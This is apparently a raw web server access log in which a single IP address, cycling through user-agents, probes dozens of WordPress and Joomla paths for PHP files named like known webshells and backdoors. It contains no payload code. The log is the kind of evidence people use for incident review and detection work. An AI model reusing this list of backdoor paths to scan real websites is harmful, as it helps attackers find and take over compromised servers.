[03/Feb/2026:10:54:36 +0300] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:36 +0300] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:36 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:54:37 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:37 +0300] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:37 +0300] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:37 +0300] "GET /zero.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:38 +0300] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:54:38 +0300] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:38 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:54:38 +0300] "GET /db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:39 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:39 +0300] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:39 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:39 +0300] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:39 +0300] "GET /file.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:54:40 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:54:40 +0300] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:40 +0300] "GET /wp-admin/css/colors/sunrise/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:40 +0300] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:41 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:41 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:41 +0300] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:42 +0300] "GET /.well-known/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:42 +0300] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:42 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:42 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:43 +0300] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:43 +0300] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:43 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:43 +0300] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:44 +0300] "GET /wp-content/uploads/aves.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:44 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:44 +0300] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:44 +0300] "GET /wp-admin/css/colors/light/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:44 +0300] "GET /.well-known/pki-validation/angu.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:45 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:54:45 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:45 +0300] "GET /bulk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:45 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:46 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:46 +0300] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:46 +0300] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:46 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:47 +0300] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:47 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:47 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:47 +0300] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:48 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:48 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:48 +0300] "GET /wp-simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:48 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:49 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:49 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:49 +0300] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:49 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:50 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:50 +0300] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:50 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:50 +0300] "GET /wordpress/wp-includes/class-simplepie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:51 +0300] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:51 +0300] "GET /.well-known/pki-validation/file.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:51 +0300] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:54:51 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:52 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:52 +0300] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:52 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:52 +0300] "GET /header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:53 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:53 +0300] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:53 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:54 +0300] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:54 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:54 +0300] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:54 +0300] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:55 +0300] "GET /.well-known/pki-validation/BSTI.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:54:55 +0300] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:55 +0300] "GET /wp-admin/maint/pongs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:55 +0300] "GET /wp-content/uploads/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:54:56 +0300] "GET /.well-known/acme-challenge/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:56 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:56 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:56 +0300] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:57 +0300] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:57 +0300] "GET /wp-includes/images/votes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:57 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:54:57 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:58 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:58 +0300] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:58 +0300] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:59 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:59 +0300] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:59 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:00 +0300] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:55:00 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:00 +0300] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:01 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:01 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:55:02 +0300] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:02 +0300] "GET /.well-known/pki-validation/aewso.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:03 +0300] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:03 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:55:03 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:04 +0300] "GET /wp-admin/css/colors/blue/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:04 +0300] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:04 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:04 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:05 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:55:05 +0300] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:05 +0300] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:55:05 +0300] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:55:06 +0300] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:55:06 +0300] "GET /wordpress/wp-content/uploads/anceaecs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - 